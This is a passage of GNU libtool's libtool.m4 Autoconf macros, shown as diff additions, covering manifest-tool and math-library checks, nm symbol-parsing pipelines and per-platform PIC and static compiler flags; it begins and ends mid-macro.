lt_cv_path_mainfest_tool=yes + fi + rm -f conftest*]) +if test yes != "$lt_cv_path_mainfest_tool"; then + MANIFEST_TOOL=: +fi +_LT_DECL([], [MANIFEST_TOOL], [1], [Manifest tool])dnl +])# _LT_PATH_MANIFEST_TOOL + + +# _LT_DLL_DEF_P([FILE]) +# --------------------- +# True iff FILE is a Windows DLL '.def' file. +# Keep in sync with func_dll_def_p in the libtool script +AC_DEFUN([_LT_DLL_DEF_P], +[dnl + test DEF = "`$SED -n dnl + -e '\''s/^[[ ]]*//'\'' dnl Strip leading whitespace + -e '\''/^\(;.*\)*$/d'\'' dnl Delete empty lines and comments + -e '\''s/^\(EXPORTS\|LIBRARY\)\([[ ]].*\)*$/DEF/p'\'' dnl + -e q dnl Only consider the first "real" line + $1`" dnl +])# _LT_DLL_DEF_P + + +# LT_LIB_M +# -------- +# check for math library +AC_DEFUN([LT_LIB_M], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +LIBM= +case $host in +*-*-beos* | *-*-cegcc* | *-*-cygwin* | *-*-haiku* | *-*-pw32* | *-*-darwin*) + # These system don't have libm, or don't need it + ;; +*-ncr-sysv4.3*) + AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM=-lmw) + AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm") + ;; +*) + AC_CHECK_LIB(m, cos, LIBM=-lm) + ;; +esac +AC_SUBST([LIBM]) +])# LT_LIB_M + +# Old name: +AU_ALIAS([AC_CHECK_LIBM], [LT_LIB_M]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_CHECK_LIBM], []) + + +# _LT_COMPILER_NO_RTTI([TAGNAME]) +# ------------------------------- +m4_defun([_LT_COMPILER_NO_RTTI], +[m4_require([_LT_TAG_COMPILER])dnl + +_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= + +if test yes = "$GCC"; then + case $cc_basename in + nvcc*) + _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -Xcompiler -fno-builtin' ;; + *) + _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' ;; + esac + + _LT_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions], + lt_cv_prog_compiler_rtti_exceptions, + [-fno-rtti -fno-exceptions], [], + [_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"]) +fi +_LT_TAGDECL([no_builtin_flag], [lt_prog_compiler_no_builtin_flag], [1], + [Compiler flag to turn off builtin functions]) +])# _LT_COMPILER_NO_RTTI + + +# _LT_CMD_GLOBAL_SYMBOLS +# ---------------------- +m4_defun([_LT_CMD_GLOBAL_SYMBOLS], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_PROG_AWK])dnl +AC_REQUIRE([LT_PATH_NM])dnl +AC_REQUIRE([LT_PATH_LD])dnl +m4_require([_LT_DECL_SED])dnl +m4_require([_LT_DECL_EGREP])dnl +m4_require([_LT_TAG_COMPILER])dnl + +# Check for command to grab the raw symbol name followed by C symbol from nm. +AC_MSG_CHECKING([command to parse $NM output from $compiler object]) +AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe], +[ +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[[BCDEGRST]]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)' + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[[BCDT]]' + ;; +cygwin* | mingw* | pw32* | cegcc*) + symcode='[[ABCDGISTW]]' + ;; +hpux*) + if test ia64 = "$host_cpu"; then + symcode='[[ABCDEGRST]]' + fi + ;; +irix* | nonstopux*) + symcode='[[BCDEGRST]]' + ;; +osf*) + symcode='[[BCDEGQRST]]' + ;; +solaris*) + symcode='[[BDRT]]' + ;; +sco3.2v5*) + symcode='[[DT]]' + ;; +sysv4.2uw2*) + symcode='[[DT]]' + ;; +sysv5* | sco5v6* | unixware* | OpenUNIX*) + symcode='[[ABDT]]' + ;; +sysv4) + symcode='[[DFNSTU]]' + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[[ABCDGIRSTW]]' ;; +esac + +if test "$lt_cv_nm_interface" = "MS dumpbin"; then + # Gets list of data symbols to import. + lt_cv_sys_global_symbol_to_import="$SED -n -e 's/^I .* \(.*\)$/\1/p'" + # Adjust the below global symbol transforms to fixup imported variables. + lt_cdecl_hook=" -e 's/^I .* \(.*\)$/extern __declspec(dllimport) char \1;/p'" + lt_c_name_hook=" -e 's/^I .* \(.*\)$/ {\"\1\", (void *) 0},/p'" + lt_c_name_lib_hook="\ + -e 's/^I .* \(lib.*\)$/ {\"\1\", (void *) 0},/p'\ + -e 's/^I .* \(.*\)$/ {\"lib\1\", (void *) 0},/p'" +else + # Disable hooks by default. + lt_cv_sys_global_symbol_to_import= + lt_cdecl_hook= + lt_c_name_hook= + lt_c_name_lib_hook= +fi + +# Transform an extracted symbol line into a proper C declaration. +# Some systems (esp. on ia64) link data and code symbols differently, +# so use this general approach. +lt_cv_sys_global_symbol_to_cdecl="$SED -n"\ +$lt_cdecl_hook\ +" -e 's/^T .* \(.*\)$/extern int \1();/p'"\ +" -e 's/^$symcode$symcode* .* \(.*\)$/extern char \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="$SED -n"\ +$lt_c_name_hook\ +" -e 's/^: \(.*\) .*$/ {\"\1\", (void *) 0},/p'"\ +" -e 's/^$symcode$symcode* .* \(.*\)$/ {\"\1\", (void *) \&\1},/p'" + +# Transform an extracted symbol line into symbol name with lib prefix and +# symbol address. +lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="$SED -n"\ +$lt_c_name_lib_hook\ +" -e 's/^: \(.*\) .*$/ {\"\1\", (void *) 0},/p'"\ +" -e 's/^$symcode$symcode* .* \(lib.*\)$/ {\"\1\", (void *) \&\1},/p'"\ +" -e 's/^$symcode$symcode* .* \(.*\)$/ {\"lib\1\", (void *) \&\1},/p'" + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# Try without a prefix underscore, then with it. +for ac_symprfx in "" "_"; do + + # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol. + symxfrm="\\1 $ac_symprfx\\2 \\2" + + # Write the raw and C identifiers. + if test "$lt_cv_nm_interface" = "MS dumpbin"; then + # Fake it for dumpbin and say T for any non-static function, + # D for any global variable and I for any imported variable. + # Also find C++ and __fastcall symbols from MSVC++ or ICC, + # which start with @ or ?. + lt_cv_sys_global_symbol_pipe="$AWK ['"\ +" {last_section=section; section=\$ 3};"\ +" /^COFF SYMBOL TABLE/{for(i in hide) delete hide[i]};"\ +" /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\ +" /^ *Symbol name *: /{split(\$ 0,sn,\":\"); si=substr(sn[2],2)};"\ +" /^ *Type *: code/{print \"T\",si,substr(si,length(prfx))};"\ +" /^ *Type *: data/{print \"I\",si,substr(si,length(prfx))};"\ +" \$ 0!~/External *\|/{next};"\ +" / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\ +" {if(hide[section]) next};"\ +" {f=\"D\"}; \$ 0~/\(\).*\|/{f=\"T\"};"\ +" {split(\$ 0,a,/\||\r/); split(a[2],s)};"\ +" s[1]~/^[@?]/{print f,s[1],s[1]; next};"\ +" s[1]~prfx {split(s[1],t,\"@\"); print f,t[1],substr(t[1],length(prfx))}"\ +" ' prfx=^$ac_symprfx]" + else + lt_cv_sys_global_symbol_pipe="$SED -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'" + fi + lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | $SED '/ __gnu_lto/d'" + + # Check to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext <<_LT_EOF +#ifdef __cplusplus +extern "C" { +#endif +char nm_test_var; +void nm_test_func(void); +void nm_test_func(void){} +#ifdef __cplusplus +} +#endif +int main(){nm_test_var='a';nm_test_func();return(0);} +_LT_EOF + + if AC_TRY_EVAL(ac_compile); then + # Now try to grab the symbols. + nlist=conftest.nm + if AC_TRY_EVAL(NM conftest.$ac_objext \| "$lt_cv_sys_global_symbol_pipe" \> $nlist) && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if $GREP ' nm_test_var$' "$nlist" >/dev/null; then + if $GREP ' nm_test_func$' "$nlist" >/dev/null; then + cat <<_LT_EOF > conftest.$ac_ext +/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */ +#if defined _WIN32 || defined __CYGWIN__ || defined _WIN32_WCE +/* DATA imports from DLLs on WIN32 can't be const, because runtime + relocations are performed -- see ld's documentation on pseudo-relocs. */ +# define LT@&t@_DLSYM_CONST +#elif defined __osf__ +/* This system does not cope well with relocations in const data. */ +# define LT@&t@_DLSYM_CONST +#else +# define LT@&t@_DLSYM_CONST const +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +_LT_EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext' + + cat <<_LT_EOF >> conftest.$ac_ext + +/* The mapping between symbol names and symbols. */ +LT@&t@_DLSYM_CONST struct { + const char *name; + void *address; +} +lt__PROGRAM__LTX_preloaded_symbols[[]] = +{ + { "@PROGRAM@", (void *) 0 }, +_LT_EOF + $SED "s/^$symcode$symcode* .* \(.*\)$/ {\"\1\", (void *) \&\1},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext + cat <<\_LT_EOF >> conftest.$ac_ext + {0, (void *) 0} +}; + +/* This works around a problem in FreeBSD linker */ +#ifdef FREEBSD_WORKAROUND +static const void *lt_preloaded_setup() { + return lt__PROGRAM__LTX_preloaded_symbols; +} +#endif + +#ifdef __cplusplus +} +#endif +_LT_EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_globsym_save_LIBS=$LIBS + lt_globsym_save_CFLAGS=$CFLAGS + LIBS=conftstm.$ac_objext + CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)" + if AC_TRY_EVAL(ac_link) && test -s conftest$ac_exeext; then + pipe_works=yes + fi + LIBS=$lt_globsym_save_LIBS + CFLAGS=$lt_globsym_save_CFLAGS + else + echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD + fi + else + echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD + cat conftest.$ac_ext >&5 + fi + rm -rf conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test yes = "$pipe_works"; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done +]) +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + AC_MSG_RESULT(failed) +else + AC_MSG_RESULT(ok) +fi + +# Response file support. +if test "$lt_cv_nm_interface" = "MS dumpbin"; then + nm_file_list_spec='@' +elif $NM --help 2>/dev/null | grep '[[@]]FILE' >/dev/null; then + nm_file_list_spec='@' +fi + +_LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1], + [Take the output of nm and produce a listing of raw symbols and C names]) +_LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1], + [Transform the output of nm in a proper C declaration]) +_LT_DECL([global_symbol_to_import], [lt_cv_sys_global_symbol_to_import], [1], + [Transform the output of nm into a list of symbols to manually relocate]) +_LT_DECL([global_symbol_to_c_name_address], + [lt_cv_sys_global_symbol_to_c_name_address], [1], + [Transform the output of nm in a C name address pair]) +_LT_DECL([global_symbol_to_c_name_address_lib_prefix], + [lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1], + [Transform the output of nm in a C name address pair when lib prefix is needed]) +_LT_DECL([nm_interface], [lt_cv_nm_interface], [1], + [The name lister interface]) +_LT_DECL([], [nm_file_list_spec], [1], + [Specify filename containing input files for $NM]) +]) # _LT_CMD_GLOBAL_SYMBOLS + + +# _LT_COMPILER_PIC([TAGNAME]) +# --------------------------- +m4_defun([_LT_COMPILER_PIC], +[m4_require([_LT_TAG_COMPILER])dnl +_LT_TAGVAR(lt_prog_compiler_wl, $1)= +_LT_TAGVAR(lt_prog_compiler_pic, $1)= +_LT_TAGVAR(lt_prog_compiler_static, $1)= + +m4_if([$1], [CXX], [ + # C++ specific cases for pic, static, wl, etc. + if test yes = "$GXX"; then + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test ia64 = "$host_cpu"; then + # AIX 5 now supports IA64 processor + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + m68k) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the '-m68020' flag to GCC prevents building anything better, + # like '-m68040'. + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + esac + ;; + + beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + mingw* | cygwin* | os2* | pw32* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + # Although the cygwin gcc ignores -fPIC, still need this for old-style + # (--disable-auto-import) libraries + m4_if([$1], [GCJ], [], + [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) + case $host_os in + os2*) + _LT_TAGVAR(lt_prog_compiler_static, $1)='$wl-static' + ;; + esac + ;; + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + *djgpp*) + # DJGPP does not support shared libraries at all + _LT_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + haiku*) + # PIC is the default for Haiku. + # The "-static" flag exists, but is broken. + _LT_TAGVAR(lt_prog_compiler_static, $1)= + ;; + interix[[3-9]]*) + # Interix 3.x gcc -fpic/-fPIC options generate broken code. + # Instead, we relocate shared libraries at runtime. + ;; + sysv4*MP*) + if test -d /usr/nec; then + _LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + hpux*) + # PIC is the default for 64-bit PA HP-UX, but not for 32-bit + # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag + # sets the default TLS model and affects inlining. + case $host_cpu in + hppa*64*) + ;; + *) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + *qnx* | *nto*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' + ;; + *) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + else + case $host_os in + aix[[4-9]]*) + # All AIX code is PIC. + if test ia64 = "$host_cpu"; then + # AIX 5 now supports IA64 processor + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + chorus*) + case $cc_basename in + cxch68*) + # Green Hills C++ Compiler + # _LT_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" + ;; + esac + ;; + mingw* | cygwin* | os2* | pw32* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + m4_if([$1], [GCJ], [], + [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) + ;; + dgux*) + case $cc_basename in + ec++*) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + ghcx*) + # Green Hills C++ Compiler + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + freebsd* | dragonfly* | midnightbsd*) + # FreeBSD uses GNU C++ + ;; + hpux9* | hpux10* | hpux11*) + case $cc_basename in + CC*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_static, $1)='$wl-a ${wl}archive' + if test ia64 != "$host_cpu"; then + _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + fi + ;; + aCC*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_static, $1)='$wl-a ${wl}archive' + case $host_cpu in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + ;; + *) + ;; + esac + ;; + interix*) + # This is c89, which is MS Visual C++ (no shared libs) + # Anyone wants to do a port? + ;; + irix5* | irix6* | nonstopux*) + case $cc_basename in + CC*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + # CC pic flag -KPIC is the default. + ;; + *) + ;; + esac + ;; + linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + case $cc_basename in + KCC*) + # KAI C++ Compiler + _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + ecpc* ) + # old Intel C++ for x86_64, which still supported -KPIC. + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + icpc* ) + # Intel C++, used to be incompatible with GCC. + # ICC 10 doesn't accept -KPIC any more. + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + pgCC* | pgcpp*) + # Portland Group C++ compiler + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + cxx*) + # Compaq C++ + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + xlc* | xlC* | bgxl[[cC]]* | mpixl[[cC]]*) + # IBM XL 8.0, 9.0 on PPC and BlueGene + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qpic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-qstaticlink' + ;; + *) + case `$CC -V 2>&1 | $SED 5q` in + *Sun\ C*) + # Sun C++ 5.9 + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + ;; + esac + ;; + esac + ;; + lynxos*) + ;; + m88k*) + ;; + mvs*) + case $cc_basename in + cxx*) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall' + ;; + *) + ;; + esac + ;; + netbsd*) + ;; + *qnx* | *nto*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' + ;; + osf3* | osf4* | osf5*) + case $cc_basename in + KCC*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + ;; + RCC*) + # Rational C++ 2.4.1 + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + cxx*) + # Digital/Compaq C++ + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + *) + ;; + esac + ;; + psos*) + ;; + solaris*) + case $cc_basename in + CC* | sunCC*) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + ;; + gcx*) + # Green Hills C++ Compiler + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + ;; + *) + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC*) + # Sun C++ 4.x + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + lcc*) + # Lucid + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) + case $cc_basename in + CC*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + esac + ;; + tandem*) + case $cc_basename in + NCC*) + # NonStop-UX NCC 3.20 + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + *) + ;; + esac + ;; + vxworks*) + ;; + *) + _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +], +[ + if test yes = "$GCC"; then + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test ia64 = "$host_cpu"; then + # AIX 5 now supports IA64 processor + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + m68k) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the '-m68020' flag to GCC prevents building anything better, + # like '-m68040'. + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + esac + ;; + + beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | cygwin* | pw32* | os2* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + # Although the cygwin gcc ignores -fPIC, still need this for old-style + # (--disable-auto-import) libraries + m4_if([$1], [GCJ], [], + [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) + case $host_os in + os2*) + _LT_TAGVAR(lt_prog_compiler_static, $1)='$wl-static' + ;; + esac + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + + haiku*) + # PIC is the default for Haiku. + # The "-static" flag exists, but is broken. + _LT_TAGVAR(lt_prog_compiler_static, $1)= + ;; + + hpux*) + # PIC is the default for 64-bit PA HP-UX, but not for 32-bit + # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag + # sets the default TLS model and affects inlining. + case $host_cpu in + hppa*64*) + # +Z the default + ;; + *) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + + interix[[3-9]]*) + # Interix 3.x gcc -fpic/-fPIC options generate broken code. + # Instead, we relocate shared libraries at runtime. + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + enable_shared=no + ;; + + *nto* | *qnx*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + + *) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + + case $cc_basename in + nvcc*) # Cuda Compiler Driver 2.2 + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Xlinker ' + if test -n "$_LT_TAGVAR(lt_prog_compiler_pic, $1)"; then + _LT_TAGVAR(lt_prog_compiler_pic, $1)="-Xcompiler $_LT_TAGVAR(lt_prog_compiler_pic, $1)" + fi + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + if test ia64 = "$host_cpu"; then + # AIX 5 now supports IA64 processor + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + case $cc_basename in + nagfor*) + # NAG Fortran compiler + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,-Wl,,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + esac + ;; + + mingw* | cygwin* | pw32* | os2* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + m4_if([$1], [GCJ], [], + [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) + case $host_os in + os2*) + _LT_TAGVAR(lt_prog_compiler_static, $1)='$wl-static' + ;; + esac + ;; + + hpux9* | hpux10* | hpux11*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case $host_cpu in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + _LT_TAGVAR(lt_prog_compiler_static, $1)='$wl-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC (with -KPIC) is the default. + _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + case $cc_basename in + # old Intel for x86_64, which still supported -KPIC. + ecc*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + # icc used to be incompatible with GCC. + # ICC 10 doesn't accept -KPIC any more. + icc* | ifort*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + # Lahey Fortran 8.1. + lf95*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared' + _LT_TAGVAR(lt_prog_compiler_static, $1)='--static' + ;; + nagfor*) + # NAG Fortran compiler + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,-Wl,,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + tcc*) + # Fabrice Bellard et al's Tiny C Compiler + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*) + # Portland Group compilers (*not* the Pentium gcc compiler, + # which looks to be a dead project) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + ccc*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All Alpha code is PIC. + 